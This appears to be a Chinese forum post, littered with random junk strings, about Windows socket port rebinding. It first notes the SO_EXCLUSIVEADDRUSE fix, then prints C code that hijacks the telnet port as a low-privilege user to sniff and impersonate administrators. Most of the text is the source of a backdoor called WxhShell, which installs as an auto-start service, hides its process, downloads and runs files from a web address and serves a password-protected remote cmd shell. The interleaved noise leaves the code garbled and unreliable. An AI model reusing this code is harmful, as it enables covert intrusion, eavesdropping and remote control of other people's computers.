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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X|]&K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c*R?eLt/ ~Psv[b=] saddr.sin_family = AF_INET; )/uu~9SFd O$SQzLZx& saddr.sin_addr.s_addr = htonl(INADDR_ANY); -hv<8bC~4 2x3%*r$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); * F[;D7sZ~ 3hUU$|^4gm 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |a!y%R= U42B(ow 这意味着什么?意味着可以进行如下的攻击: XQW9/AzN f #i6ZY^+ee 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yex4A)n9"' f\cm84 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V'n4iM #ArMX3^+w7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7Qoy~=E q2>dPI;3T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 'UW]~ s}m.r5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )2lzPK t |-vc/t2k>T 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )TH~Tq: O C qI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :>G3N+A) ;_]Z3 #include vBRW5@ #include Wa {()Cz #include cx_.+ R #include 7E4Xvg+c DWORD WINAPI ClientThread(LPVOID lpParam); Qx{[#[Da int main() aM2[<m} { W'0(0;+G/j WORD wVersionRequested; ;8VvpO^G/ DWORD ret; aC9PlKI WSADATA wsaData; 6X1_NbC BOOL val; ,?zIt6Z SOCKADDR_IN saddr; ~C;1}P%9x SOCKADDR_IN scaddr; ? FlV<nE"J int err; orU++,S4Pm SOCKET s; ;?-`n4B& SOCKET sc; 'J0Erk8( int caddsize; zSU06Y HANDLE mt; 71$MhPvd< DWORD tid; BUp,bJpO wVersionRequested = MAKEWORD( 2, 2 ); A&dNCB err = WSAStartup( wVersionRequested, &wsaData ); hhZUE] if ( err != 0 ) { GiF})e} printf("error!WSAStartup failed!\n"); -4}I02 return -1; Dq~PxcnI } :zL.dJwa saddr.sin_family = AF_INET; ^Z9v_qB pPezy: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4
Ii@_r> p| #gn<z} saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IdvBQ [Gj saddr.sin_port = htons(23); C}~/(;1V= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %5zztReI { wn$:L9"YN printf("error!socket failed!\n"); FyZ iiH4| return -1; wu2AhMGmw } ^edg@fp val = TRUE; gUrb\X //SO_REUSEADDR选项就是可以实现端口重绑定的 V
r0-/T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d\cwUXf
J { j&S8x|5 printf("error!setsockopt failed!\n"); tv_Cn
w return -1; u D.E>.B } :EUV#5V. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7 %P?3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x%;Q
/7&$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cZ"
Ut kRk=8^."By if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~YuRi#CTD: { D4"](RXH ret=GetLastError(); GM/3*S$c printf("error!bind failed!\n"); '(/ZJ88JP return -1; S*H :/Ip } Yg;g!~ listen(s,2); RfT#kh/5 while(1) *5i~N} { PAe2hJ caddsize = sizeof(scaddr); AJ;Y Nb //接受连接请求 @" ~Mglgw sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^"w.v' sL if(sc!=INVALID_SOCKET) |wf:|% { /HNZwbh]uJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t9&z|?Vz if(mt==NULL) MwxfTH"wi {
*it(o printf("Thread Creat Failed!\n"); B;8YX>r break; mu1oD;lQ } YbC6&_ } Z_qs_/y CloseHandle(mt); %*.;3;m } EX>|+zYL closesocket(s); 5 TD" WSACleanup(); 1Tn!.E * return 0; {rWu`QT } `07u}]d8 DWORD WINAPI ClientThread(LPVOID lpParam) }6]V*Kn, { r'hr'wZ SOCKET ss = (SOCKET)lpParam; F9e$2J)C SOCKET sc; k=[!{I unsigned char buf[4096]; {6<7M SOCKADDR_IN saddr; tg~&kaz long num; 6|#^4D)
DWORD val; ,{c9Lv%@J DWORD ret; n@BE*I<" //如果是隐藏端口应用的话,可以在此处加一些判断 RR:m<9l //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 }H{{ @RU saddr.sin_family = AF_INET; =&,zWNz) saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yXNE2K saddr.sin_port = htons(23); GI$t8{M if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hQBeM7$F_ { Cc]s94 printf("error!socket failed!\n"); (FMYR8H*( return -1; +byw*Kk } TE*$NxQ 2 val = 100; }se)=7d8
Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /-$`GT?l { 6mEW*qp2F ret = GetLastError(); O6;>]/` return -1; i#1T68y} } Ii*v(`2b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h^>kjMM { vD) LRO
Z ret = GetLastError(); _OcgD< return -1; .,,?[TI } OP2!lEs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )X\.Xr-6q { 6kT
l(+ printf("error!socket connect failed!\n"); ^V_acAuS^ closesocket(sc); Ph]e\ closesocket(ss); 1elcP`N1 return -1; ~<v.WP<: } -ihF)^"a while(1) WGG|d)'@ { 5vbnO]8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gRdE6aIZ //如果是嗅探内容的话,可以再此处进行内容分析和记录 2I ?HBz1v //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z6>:k,-Ot num = recv(ss,buf,4096,0); 7L;yN..0 if(num>0) #TW$J/Jb send(sc,buf,num,0); 92Ar0j] else if(num==0) ~JLqx/[|s break; Z
mi<Z num = recv(sc,buf,4096,0); dhK$XG if(num>0) -#gb {vj send(ss,buf,num,0); #4na>G| else if(num==0) O|y-nAZgU break; FbFUZ^Zj } s7xRry closesocket(ss); 1uV_C[: closesocket(sc); xA!o"VZPq7 return 0 ; lBG*P>; } K:y q^T7 #Z$6>
Xt QwT]|
6> ========================================================== bk6$+T=> Go`omh
b 下边附上一个代码,,WXhSHELL "bf8[D {f^30Fw ========================================================== p+8]H
% V'K$:9^x[8 #include "stdafx.h" &g& &-=7) >P0AGZ #include <stdio.h> ['R=@. #include <string.h> :!} zdeRJ #include <windows.h> hq,;H40%/ #include <winsock2.h> W^=89I4] #include <winsvc.h> Uw&+zJ #include <urlmon.h> r`B+ KQ4 _)_XO92~ #pragma comment (lib, "Ws2_32.lib") iT5H<uS #pragma comment (lib, "urlmon.lib") _ZS<zQ' A+F-r_]}db #define MAX_USER 100 // 最大客户端连接数 <}mT[;:" #define BUF_SOCK 200 // sock buffer /pk;E$qv #define KEY_BUFF 255 // 输入 buffer ycE<7W >8JvnBFx= #define REBOOT 0 // 重启 #[[p/nAy}A #define SHUTDOWN 1 // 关机 hYWWvJ)S _b5iR<f #define DEF_PORT 5000 // 监听端口 s lI)"+6 bs`/k&' #define REG_LEN 16 // 注册表键长度 /uyQ>Y*-\Y #define SVC_LEN 80 // NT服务名长度 8U(a&G6gn f:UN~z'yr // 从dll定义API a<o0B{7{BM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FN,uD:a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qt:->yiq+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \) #3S $L~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3)-#yOr )xK!i. // wxhshell配置信息 }>1E,3A:%G struct WSCFG { $U0(%lIU int ws_port; // 监听端口 j?mJ1J5 char ws_passstr[REG_LEN]; // 口令 f7W=x6Z4 int ws_autoins; // 安装标记, 1=yes 0=no \c\=S char ws_regname[REG_LEN]; // 注册表键名 (\I =v". char ws_svcname[REG_LEN]; // 服务名 LPNv4lT[u char ws_svcdisp[SVC_LEN]; // 服务显示名 2?ednMoE char ws_svcdesc[SVC_LEN]; // 服务描述信息 ""a8eB6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .iYg RW=T int ws_downexe; // 下载执行标记, 1=yes 0=no 8xv\Zj + char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ?yU#'`q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'oEmbk8Hg Iymz2 }; x('yBf GkC88l9z // default Wxhshell configuration z? aDOh struct WSCFG wscfg={DEF_PORT, Bx qCV%9o "xuhuanlingzhe", Xo5L:(?K 1, ,]Ma, 2 "Wxhshell", [y:LA~q "Wxhshell", h`Mf;'P "WxhShell Service", ?l (hS\N, "Wrsky Windows CmdShell Service", xle29:?l "Please Input Your Password: ", {HU48v"W 1, 9x1Dyz 2?F " http://www.wrsky.com/wxhshell.exe", `otQ'e~+t "Wxhshell.exe" DNy)\+[
}; <f6Oj`{f4 3IkG*enI // 消息定义模块 U_~~PCi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IW#(ICeb char *msg_ws_prompt="\n\r? for help\n\r#>"; Kv7NCpq' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; P:vy char *msg_ws_ext="\n\rExit."; >']H)c'2 char *msg_ws_end="\n\rQuit."; 0d2%CsMS"D char *msg_ws_boot="\n\rReboot..."; R[c_L= char *msg_ws_poff="\n\rShutdown..."; V_pBM char *msg_ws_down="\n\rSave to "; &M!:,B a?kQ2<@g char *msg_ws_err="\n\rErr!"; uE$o4X char *msg_ws_ok="\n\rOK!";
ZS+2.)A vn<S" char ExeFile[MAX_PATH]; +9X[gef8 int nUser = 0; UQ)}i7v HANDLE handles[MAX_USER]; Kf4z*5Veqr int OsIsNt; DbN'b(+ f+V':qz SERVICE_STATUS serviceStatus; 1|VJN D SERVICE_STATUS_HANDLE hServiceStatusHandle; ||V:',#,W x_K% // 函数声明 Nt8( int Install(void); m
C Ge*V} int Uninstall(void); q*OKA5 int DownloadFile(char *sURL, SOCKET wsh); K5SO($ int Boot(int flag); Q\76jD`m\ void HideProc(void); l+6(|"md int GetOsVer(void); 8=~>B@' int Wxhshell(SOCKET wsl); pQNFH)=nw void TalkWithClient(void *cs); lNb\^b int CmdShell(SOCKET sock); 6{'6_4;Fv( int StartFromService(void); tOw
0(-:iq int StartWxhshell(LPSTR lpCmdLine); ?=kswf ~<aB-.d VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0, /x# VOID WINAPI NTServiceHandler( DWORD fdwControl ); :!$z1u8R {P&^Erx // 数据结构和表定义 @nu/0+8h{ SERVICE_TABLE_ENTRY DispatchTable[] = ` qTY { ]aNnY?qW5 {wscfg.ws_svcname, NTServiceMain}, i7V~LO:gq {NULL, NULL} 3;NRW+ }; Q8?D}h M-N2>i# // 自我安装 h>:RCpC int Install(void) 2r,'4%G { .h,xBT`}Ji char svExeFile[MAX_PATH]; sE6J:m( HKEY key; }eM<A$J strcpy(svExeFile,ExeFile); yU,xcq~l RWFf-VA? // 如果是win9x系统,修改注册表设为自启动 u9w&q^0dqG if(!OsIsNt) { C4]%pi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )1Nnn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ky#B'Bh}`g RegCloseKey(key); sG2 3[t8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CDnz
&? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w9$8t9$| RegCloseKey(key); e"#D){k# return 0; ;
,jLtl } 8"mW!M } aG_ON0g } !m(L0YH else { x9l0UD*+g @T1+b"TC // 如果是NT以上系统,安装为系统服务 xc.D!Iav SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8? Wxd65) if (schSCManager!=0) [P=[hj; { 3]n@c?lw SC_HANDLE schService = CreateService n~u3 ( @jSbMI schSCManager, e=sJMzm~ wscfg.ws_svcname, ~h0BT(p/ wscfg.ws_svcdisp, 3DC%I79 SERVICE_ALL_ACCESS, #Jz&9I<OKx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M5WtGIV SERVICE_AUTO_START, C_cs(}wi SERVICE_ERROR_NORMAL, (0#F]""\e svExeFile, Q4Fq=kTE NULL, rw[ {@|)'z NULL, U
qw}4C/0 NULL, ds;cfj[ NULL, e ]o'i;I NULL Kt,ynA ); V!77YFen % if (schService!=0) ttFY
_F~S { rjHIQC C CloseServiceHandle(schService); RE
$3| z CloseServiceHandle(schSCManager); 2?- 07 g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5%?b5(mnD strcat(svExeFile,wscfg.ws_svcname); :q64K?X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B$TChc3B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 30 [#%_* o RegCloseKey(key); +O$: return 0; BCUt`;q ]B } nt0\q'& } #3K,V8( CloseServiceHandle(schSCManager); \DU^idp# } 0vuKGjK } XQ3* #CA%]*l*F return 1; P B( } AwXt @!( /MqXwUbO // 自我卸载 U M( l% int Uninstall(void) +an^e' { tpa^k HKEY key; zn
V1kqGU !ASoXQRz if(!OsIsNt) { B3dA%\' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { inPE/Ux RegDeleteValue(key,wscfg.ws_regname); ]A]Ft!`6z RegCloseKey(key); t1w2u.] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @q+cmJKv RegDeleteValue(key,wscfg.ws_regname); <r<Dmn|\a RegCloseKey(key); &{zwM |Q@? return 0; p:JRQT"A } s~LZOPN } tS (i711 } }KA-t}8 else { 9^PRX j,=*WG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <AMb!?Obh if (schSCManager!=0) B;GxfYj { <TR/ ` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =t3vbV if (schService!=0) 0R@g( { (_w
% if(DeleteService(schService)!=0) { G@!_ZM8h CloseServiceHandle(schService); ADYx.8M|9i CloseServiceHandle(schSCManager); N7*CP|?E return 0; lf%b0na?r } z;dcAdz9 CloseServiceHandle(schService); K85_>C%g } cBifZv*l CloseServiceHandle(schSCManager); <i}q=%W!1 } G{kj}>kS_ } *o02!EYge uxa=KM1H return 1; cQT1Xi } 8 7RHA $? ~`t%M?l // 从指定url下载文件 7E$eN8H int DownloadFile(char *sURL, SOCKET wsh) rH9uGm-* { %z*29iKlI HRESULT hr; ^|wT_k\ char seps[]= "/"; IQ3n@ char *token; umQi char *file; bh6d./ char myURL[MAX_PATH]; lPY@{1W char myFILE[MAX_PATH]; \ V6
CI,lkO|C strcpy(myURL,sURL); =~J"kC token=strtok(myURL,seps); $
!v}xY while(token!=NULL) 3az$:[Und} { B?SNea,I4 file=token; f
hQy36i@ token=strtok(NULL,seps); FZiZg; } * [tc ZA0i)(j*Mn GetCurrentDirectory(MAX_PATH,myFILE); $+Vmwd; strcat(myFILE, "\\"); hG=k1T%= strcat(myFILE, file); qAqoZMpI|; send(wsh,myFILE,strlen(myFILE),0); s=MT, send(wsh,"...",3,0); T^~)jpkw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0Cl,8P if(hr==S_OK) #(6) ^ ( return 0; Y}ng_c else ]/Vh{d|I& return 1; !"Qb}g tM)Iir*U# } #+9rjq:v#] *C\(wL // 系统电源模块 lW
p~t int Boot(int flag) T|ZF/&XP { XYjcJ HANDLE hToken; +'|{1gB TOKEN_PRIVILEGES tkp; AYcgi 6B#('gxO if(OsIsNt) { 1Ao6y.S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8h|M!/&2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OkpwhkPL5 tkp.PrivilegeCount = 1; r}
Lb3`' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gzw@w{JBL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;o[rQ6+ if(flag==REBOOT) { iU5P$7.p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f ba&` return 0; pz7H To;p } `FZF2.N else {
[ "a"x>X& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GW3>&j_!d return 0; $2KK:{VX } C/G]v*MBQ } @RGDhwS47 else { GAw(mH* if(flag==REBOOT) { gWOt]D/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BFWi(58q return 0; J!hFN]M<< } qbiK^gR else { KlN/\N\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
R_1qn return 0; ;F5"}x } ?^9BMQ+ } fW(/Loh x7dEo%j return 1; byGn,m } XA<ozq' l!?yu]Yon // win9x进程隐藏模块 2.-o@im0 void HideProc(void) {\G`]r-cM { e[1>(l}Ss gCuAF$o HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KjYAdia:H if ( hKernel != NULL ) @;iXp>&& { s5D: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ])w[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `Ye8
Q5v"] FreeLibrary(hKernel); 8 #}D
:( } w0w1PE-V= 6>`c1
\8f return; ]$A(9Pn" }
9QwKakci !'G~k+ // 获取操作系统版本 ]<XR]FHx) int GetOsVer(void) L',mKOej { 5~H#(d<oZ OSVERSIONINFO winfo; Kj3?ve~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Uf j GetVersionEx(&winfo); DM{ 4@*] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;H'gT+t<c return 1; H8{ol6wc)6 else Y32 "N[yw return 0; 2;2}wM[ } lg$zGa? YXW%]Uy+ // 客户端句柄模块 [?k8}B)mHB int Wxhshell(SOCKET wsl) + B}0=Ex$t { l Dxc`S SOCKET wsh; Gl}Qxv#$ struct sockaddr_in client; r(h`XMsU DWORD myID; CGbwmPx n.}E5%qK while(nUser<MAX_USER) "IQ/LbOqm_ { . pzC5Ah int nSize=sizeof(client); T>`74B: wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P{Lf5V9# < if(wsh==INVALID_SOCKET) return 1; eE
GfM0 fHRMu:q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -n 80& if(handles[nUser]==0) @p 6<Lw_E closesocket(wsh); FRu]kZv2 else PwB1]p= nUser++; ,Wbwg } 'Ft0Ry<OL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7*5Z
Ej".axjT return 0; "pP^*9FrA } gKYfQ+ phnV7D(E // 关闭 socket pi<TFe@eG void CloseIt(SOCKET wsh) !8NC# s { H,nec<Jp closesocket(wsh); *!s;"U nUser--; aE;le{|!({ ExitThread(0); i0$Bx> } CCBfKp InXn%9]p] // 客户端请求句柄 8_<4-<}P: void TalkWithClient(void *cs) AV9m_hZt { m< _S_c AP77a*@8 SOCKET wsh=(SOCKET)cs; }by;F9&B char pwd[SVC_LEN]; "j;4
k.`h char cmd[KEY_BUFF]; = C4 char chr[1]; $hivlI-7Ko int i,j; &wD;SMr< h$4Hw+Yxs] while (nUser < MAX_USER) { =jB08A N(I& if(wscfg.ws_passstr) { fFb_J`'ue if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ):i&`}SY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Llr>9(| //ZeroMemory(pwd,KEY_BUFF); &?mD$Eo i=0; _?OW0x4 while(i<SVC_LEN) { o.0ci+z@ ZovW0Q)m // 设置超时 {&jb5-*f fd_set FdRead; dZi"$ g struct timeval TimeOut; T:5fc2Ngv FD_ZERO(&FdRead); U2bjFLd" FD_SET(wsh,&FdRead); *:ZDd TimeOut.tv_sec=8; ?VP8ycm TimeOut.tv_usec=0; j#cYS*^H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c-B
cA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b )B?
F ^J$2?!~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |&RU/ a pwd =chr[0]; KXx32 b,~ if(chr[0]==0xd || chr[0]==0xa) { 8C*c{(4 pwd=0; Y;?{| break; 9WyAb3d' } 0u;4%}pD i++; _d5QbTe } \ExMk<y_& ,P;Pm68V // 如果是非法用户,关闭 socket r>o63Q: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -[cTx[Z, } IZpP[hov &J+CSv,39 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
C
uB`CI send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xu%'Z".>: #qK:J;Sn3 while(1) { C{U?0!^ 3kybLOG ZeroMemory(cmd,KEY_BUFF); W"k"IvTW} ?l9XAWt\ // 自动支持客户端 telnet标准 {\81i8b] j=0; aDU<wxnSvO while(j<KEY_BUFF) { E|iQc8gr& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i<#QW'R ( cmd[j]=chr[0]; 'Gj3:-xqL if(chr[0]==0xa || chr[0]==0xd) { :tV*7S=) cmd[j]=0; 6 (]Dh;gC break; l3)}qu } hgPa6Kd j++; Z?h~{Mg } IxY|>5z r>>%2Z-P // 下载文件 =;Au<| if(strstr(cmd,"http://")) { u_oaebOrpP send(wsh,msg_ws_down,strlen(msg_ws_down),0); CsGx@\jN if(DownloadFile(cmd,wsh)) 8\+uec]k send(wsh,msg_ws_err,strlen(msg_ws_err),0); -t!~%_WCv else Va"0>KX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +^60T$ } LSL/ZvSP else { >g1~CEMN# aTH{'mN switch(cmd[0]) { 0"<H;7K#W Q /U2^ // 帮助 u^^[Q2LDU} case '?': { 6m}Ev95 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3lrT3a3vV break; mE+*)gb:Rd } , qMzWa // 安装 n]._uza case 'i': { Cio
1E-4 if(Install()) J!dm-L send(wsh,msg_ws_err,strlen(msg_ws_err),0); G#ZH.24Y else )|ju~qbf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {'7B6 break; (S>C#A=E\ } ]E5o1eeg // 卸载 ?1~` *LE case 'r': { Ua:}V n&! if(Uninstall()) t%d Z-Ym send(wsh,msg_ws_err,strlen(msg_ws_err),0); P78g/p T else Ytn9B}%o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NVkV7y X] break; ~[t[y~Hup } 3#LlDC_WC // 显示 wxhshell 所在路径 yb<fpM case 'p': { uy>q7C char svExeFile[MAX_PATH]; x[
SDl(<@; strcpy(svExeFile,"\n\r"); 4>wP7`/+y strcat(svExeFile,ExeFile); 'TTLo|@"- send(wsh,svExeFile,strlen(svExeFile),0); j*|VctM break; HY56"LZ$(} } S\CCrje // 重启 (>LF(ll case 'b': { OAgniLv send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XY5K%dMU if(Boot(REBOOT)) tHU 2/V:R send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5?f ^Rz else { 3(>B Ke closesocket(wsh); nGC/R& ExitThread(0); A @i } mVj9 ,q0 break; tR#OjkvX } akmkyrz '& // 关机 =O~_Q- case 'd': { j`EXlc~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?e%ZOI if(Boot(SHUTDOWN)) '6DBs8>1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); })'B<vq else { i}cRi&2[ closesocket(wsh); B`EJb71^Xy ExitThread(0); ?al'F q } ]a>n:p]e break; lqy Qf$t } rjK%t|aV^ // 获取shell t$` r4Lb9/ case 's': { D ;RiGW4 CmdShell(wsh); 2_>N/Z4T closesocket(wsh); 1s\Wtw: ExitThread(0); \UA[ break; )j6~Wy@4 } B.=FSow // 退出 Lw1Yvtn case 'x': { gM&{=WDG6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [DuttFX^x CloseIt(wsh); 28-RC>,@} break; Zj(AJ* r } h0EEpL|\ // 离开 'B|JAi? case 'q': { yNPVOp* send(wsh,msg_ws_end,strlen(msg_ws_end),0); "MeVE#O closesocket(wsh); +L$Xv WSACleanup(); =F|{#F exit(1); KM,\ break; 6bg
;q(*7 } b1I]>\ } !aUs>1i } &$+AXzn Xg6Jh`` // 提示信息 $ Gf(38[w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }:zE< bK } 9
ql~q } A`%k:@ <sbu;dQ` return; kdiM5l70 } :
$1?i) ,)cM3nu // shell模块句柄 #~]zhHI int CmdShell(SOCKET sock) @mCEHI{P { b=C*W,Q_# STARTUPINFO si; `v!urE/gg% ZeroMemory(&si,sizeof(si)); fgTg7 m si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]h`&&B qt si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e+7"/icK PROCESS_INFORMATION ProcessInfo; K-)]
1BG char cmdline[]="cmd"; ),%%$G\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ; nfdGB return 0; LVM%"sd? } d0!5j RMV/&85?y // 自身启动模式 Z?q]bSIT int StartFromService(void) +HpA:]#Y { Vr)S{k-Q typedef struct @D[_}JE { /KaZHR. DWORD ExitStatus; !qQl@j O DWORD PebBaseAddress; %A/0 ' DWORD AffinityMask; t.y2ff<[U DWORD BasePriority; NN{?z! ULONG UniqueProcessId; /U*C\ xMm ULONG InheritedFromUniqueProcessId; 9<?M8_ } PROCESS_BASIC_INFORMATION; KZY}%il!` F{e@W([ PROCNTQSIP NtQueryInformationProcess; @gEUm_#HTs R%WCH?B<} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M<Ncb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xIW3={b 3 8FK/~,I HANDLE hProcess; BwEN~2u6 PROCESS_BASIC_INFORMATION pbi; ?p{Nwl# Lg+Ac5y}` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EJ.SW5 if(NULL == hInst ) return 0; k"%~"9 Ta0|+IYk< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4Z=_,#h4. 